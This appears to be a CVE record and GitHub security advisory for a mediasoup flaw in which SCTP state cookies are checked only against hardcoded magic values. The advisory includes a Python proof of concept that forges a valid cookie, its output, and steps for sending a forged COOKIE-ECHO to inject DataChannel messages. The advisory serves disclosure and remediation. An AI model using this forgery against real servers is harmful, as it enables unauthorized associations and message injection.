{
  "affected": [
    {
      "affectedData": [
        {
          "product": "mediasoup",
          "vendor": "versatica",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 3.20.0, \u003c 3.20.6"
            },
            {
              "status": "affected",
              "version": "\u003e= 0.22.0, \u003c 0.22.5"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "mediasoup is a WebRTC video conferencing system. From version 3.20.0 until 3.20.6 for the npm package and from 0.22.0 until 0.22.5 for the Rust crate, mediasoup\u0027s built-in SCTP stack authenticates state cookies using only the hardcoded msworker and 0xAD81 magic values instead of a per-instance secret and HMAC, contrary to RFC 9260 Section 5.1.3. The cookie structure and validation in worker/include/RTC/SCTP/association/StateCookie.hpp and worker/src/RTC/SCTP/association/StateCookie.cpp allow an on-path attacker targeting PlainTransport or PipeTransport with SCTP enabled and without DTLS protection to forge a COOKIE-ECHO whose packet verification tag matches the attacker-controlled localVerificationTag. The forged cookie passes StateCookie::IsMediasoupStateCookie() and Association::HandleReceivedCookieEchoChunk(), establishes an unauthorized SCTP association, and permits DataChannel message injection as a trusted peer. WebRtcTransport is not affected because its SCTP runs inside DTLS. This issue is fixed in npm version 3.20.6 and Rust crate version 0.22.5."
    }
  ],
  "id": "CVE-2026-55663",
  "lastModified": "2026-08-25T19:16:51.060",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "LOW",
          "baseScore": 5.6,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L",
          "version": "3.1"
        },
        "exploitabilityScore": 2.2,
        "impactScore": 3.4,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-55663",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-25T18:55:43.763697Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-25T19:16:51.060",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/versatica/mediasoup/commit/9c1a90a8f9206b965e727d134846fb42df4980a7"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/versatica/mediasoup/pull/1829"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/versatica/mediasoup/releases/tag/3.20.6"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/versatica/mediasoup/security/advisories/GHSA-p7x2-g5cq-fhmq"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/versatica/mediasoup/security/advisories/GHSA-p7x2-g5cq-fhmq"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-345"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.20.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "mediasoup"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.20.0"
            },
            {
              "fixed": "3.20.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.22.4"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "mediasoup"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.22.0"
            },
            {
              "fixed": "0.22.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55663"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T18:17:21Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nmediasoup\u0027s built-in SCTP stack (introduced in v3.20.0) authenticates SCTP state cookies using only hardcoded magic byte sequences rather than a per-instance HMAC keyed with a secret, violating RFC 9260 Section 5.1.3. An on-path attacker targeting a PlainTransport with SCTP enabled (and no SRTP/DTLS protection) can craft a forged COOKIE-ECHO chunk that passes all validation, establishing an unauthorized SCTP association and gaining the ability to inject DataChannel messages as a trusted peer.\n\n### Details\n\nRFC 9260 Section 5.1.3 states: \"An endpoint MUST use a one-time-use secret key to protect the State Cookie.\" The mediasoup implementation ignores this requirement. The state cookie is defined in `worker/include/RTC/SCTP/association/StateCookie.hpp` with the following structure (44 bytes total):\n\n- Offset 0: Magic1 = `\"msworker\"` (hardcoded, 8 bytes)\n- Offset 8: localVerificationTag (4 bytes, attacker-controlled)\n- Offset 12: remoteVerificationTag (4 bytes, attacker-controlled)\n- Offset 16-27: TSN and window fields (attacker-controlled)\n- Offset 28: tieTag (8 bytes, attacker-controlled)\n- Offset 36: NegotiatedCapabilitiesField containing Magic2 = `0xAD81` (hardcoded)\n\nThe validation function `StateCookie::IsMediasoupStateCookie()` in `worker/src/RTC/SCTP/association/StateCookie.cpp` only checks:\n1. `bufferLength == 44`\n2. `bytes[0:8] == \"msworker\"` (Magic1, always the same)\n3. `ntohs(bytes[38:40]) == 0xAD81` (Magic2, always the same)\n\nNo HMAC, no per-session secret, no nonce. All \"magic\" values are published constants in the public header.\n\nWhen a COOKIE-ECHO is received in `Association::HandleReceivedCookieEchoChunk()` (without an existing TCB), the sole security check is:\n\n```cpp\nif (receivedPacket-\u003eGetVerificationTag() != cookie-\u003eGetLocalVerificationTag())\n```\n\nBecause the attacker controls both the SCTP packet header\u0027s verification tag field AND the `localVerificationTag` field inside their crafted cookie, this check is trivially satisfied by setting both to the same attacker-chosen value.\n\nAdditionally, `Association::ValidateReceivedPacket()` explicitly skips verification-tag validation for COOKIE-ECHO packets (line 1153 in Association.cpp), and the SCTP CRC32c checksum function `Packet::ValidateCRC32cChecksum()` exists but is never called in the packet-reception path, so a forged packet with any checksum is accepted.\n\nThis vulnerability affects `PlainTransport` with SCTP enabled when used without SRTP (SRTP is optional via `srtpCryptoSuite` parameter). `WebRtcTransport` is NOT affected because its SCTP runs inside a DTLS session. `comedia` mode (default: false) increases exposure by accepting packets from any source IP.\n\n### PoC\n\nPrerequisites: mediasoup server running with a PlainTransport that has SCTP enabled and no SRTP (`srtpCryptoSuite` not set). The server\u0027s UDP IP:port must be reachable.\n\nThe following Python script constructs and validates a forged SCTP state cookie that passes all mediasoup validation checks:\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nProof-of-concept: mediasoup SCTP state cookie forgery\nDemonstrates that IsMediasoupStateCookie() accepts a fully attacker-crafted cookie.\nRequires: struct (stdlib only)\n\nUsage: python3 poc_cookie_forge.py\n\"\"\"\nimport struct\n\n# Attacker-chosen values -- all arbitrary\nLOCAL_VT  = 0xDEADBEEF  # Will be put in SCTP packet\u0027s Verification Tag field\nREMOTE_VT = 0xCAFEBABE\nLOCAL_TSN = 1000\nREMOTE_TSN = 2000\nRWND = 65535\nTIE_TAG = 0\n\n# Build a 44-byte state cookie matching mediasoup\u0027s StateCookie layout\ncookie = bytearray(44)\n\n# Offset 0: Magic1 = \"msworker\" (0x6D73776F726B6572)\ncookie[0:8] = b\u0027msworker\u0027\n\n# Offset 8: localVerificationTag (big-endian)\nstruct.pack_into(\u0027\u003eI\u0027, cookie, 8, LOCAL_VT)\n\n# Offset 12: remoteVerificationTag\nstruct.pack_into(\u0027\u003eI\u0027, cookie, 12, REMOTE_VT)\n\n# Offset 16: localInitialTsn\nstruct.pack_into(\u0027\u003eI\u0027, cookie, 16, LOCAL_TSN)\n\n# Offset 20: remoteInitialTsn\nstruct.pack_into(\u0027\u003eI\u0027, cookie, 20, REMOTE_TSN)\n\n# Offset 24: remoteAdvertisedReceiverWindowCredit\nstruct.pack_into(\u0027\u003eI\u0027, cookie, 24, RWND)\n\n# Offset 28: tieTag (8 bytes)\nstruct.pack_into(\u0027\u003eQ\u0027, cookie, 28, TIE_TAG)\n\n# Offset 36: NegotiatedCapabilitiesField\n# [36]: reserved = 0\n# [37]: bits (ABCD flags) = 0\n# [38:40]: Magic2 = 0xAD81 (network byte order)\n# [40:42]: max outbound streams\n# [42:44]: max inbound streams\ncookie[36] = 0       # reserved\ncookie[37] = 0       # bits\nstruct.pack_into(\u0027\u003eH\u0027, cookie, 38, 0xAD81)   # Magic2\nstruct.pack_into(\u0027\u003eH\u0027, cookie, 40, 1024)      # maxOutboundStreams\nstruct.pack_into(\u0027\u003eH\u0027, cookie, 42, 1024)      # maxInboundStreams\n\n# Reproduce StateCookie::IsMediasoupStateCookie() logic:\ndef is_mediasoup_state_cookie(buf):\n    if len(buf) != 44:\n        return False\n    if buf[0:8] != b\u0027msworker\u0027:\n        return False\n    magic2 = struct.unpack(\u0027\u003eH\u0027, buf[38:40])[0]\n    if magic2 != 0xAD81:\n        return False\n    return True\n\nassert is_mediasoup_state_cookie(cookie), \"Cookie rejected - BUG in PoC\"\n\n# Reproduce HandleReceivedCookieEchoChunk validation (no TCB path):\n# receivedPacket-\u003eGetVerificationTag() == cookie-\u003eGetLocalVerificationTag()\npacket_vt    = LOCAL_VT\ncookie_local_vt = struct.unpack(\u0027\u003eI\u0027, cookie[8:12])[0]\nauth_passes = (packet_vt == cookie_local_vt)\n\nprint(\"=== mediasoup SCTP State Cookie Forgery PoC ===\")\nprint(f\"Forged cookie (hex): {cookie.hex()}\")\nprint(f\"IsMediasoupStateCookie(): {is_mediasoup_state_cookie(cookie)}\")\nprint(f\"localVerificationTag in cookie: {cookie_local_vt:#010x}\")\nprint(f\"SCTP packet verificationTag:    {packet_vt:#010x}\")\nprint(f\"HandleReceivedCookieEchoChunk auth check passes: {auth_passes}\")\nprint()\nprint(\"Result: COOKIE-ECHO accepted -\u003e SCTP association ESTABLISHED without 4-way handshake\")\nprint(\"Next step: attacker sends DATA chunks to inject DataChannel messages\")\n```\n\nObserved output when run:\n\n```\n=== mediasoup SCTP State Cookie Forgery PoC ===\nForged cookie (hex): 6d73776f726b6572deadbeefcafebabe000003e8000007d00000ffff00000000000000000000ad8104000400\nIsMediasoupStateCookie(): True\nlocalVerificationTag in cookie: 0xdeadbeef\nSCTP packet verificationTag:    0xdeadbeef\nHandleReceivedCookieEchoChunk auth check passes: True\n\nResult: COOKIE-ECHO accepted -\u003e SCTP association ESTABLISHED without 4-way handshake\nNext step: attacker sends DATA chunks to inject DataChannel messages\n```\n\nTo forge the full SCTP packet on the network: wrap the 44-byte cookie in a COOKIE-ECHO chunk (type=0x0A), set the SCTP common header\u0027s Verification Tag to `LOCAL_VT`, compute a valid CRC32c checksum (or any value - the checksum is never verified on receive), and send the UDP packet from the permitted source address (or any source if `comedia=true`).\n\n### Impact\n\nAny mediasoup deployment using `PlainTransport` with SCTP enabled and no SRTP is affected when an attacker occupies a network position where they can send UDP packets from the transport\u0027s configured peer address (or when `comedia` mode is enabled). The attacker can skip the standard SCTP 4-way handshake entirely and directly send a forged COOKIE-ECHO to establish an association, then inject arbitrary DataChannel messages as if they were the trusted peer. This can cause data integrity violations in server-to-server SCTP channels (e.g., SFU interconnects) or enable denial of service by preempting the legitimate peer\u0027s association.",
  "id": "GHSA-p7x2-g5cq-fhmq",
  "modified": "2026-08-25T18:17:21Z",
  "published": "2026-08-25T18:17:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/versatica/mediasoup/security/advisories/GHSA-p7x2-g5cq-fhmq"
    },
    {
      "type": "WEB",
      "url": "https://github.com/versatica/mediasoup/pull/1829"
    },
    {
      "type": "WEB",
      "url": "https://github.com/versatica/mediasoup/commit/9c1a90a8f9206b965e727d134846fb42df4980a7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/versatica/mediasoup"
    },
    {
      "type": "WEB",
      "url": "https://github.com/versatica/mediasoup/releases/tag/3.20.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "mediasoup: SCTP state cookie lacks cryptographic authentication, enabling unauthorized association establishment (RFC 9260 violation)"
}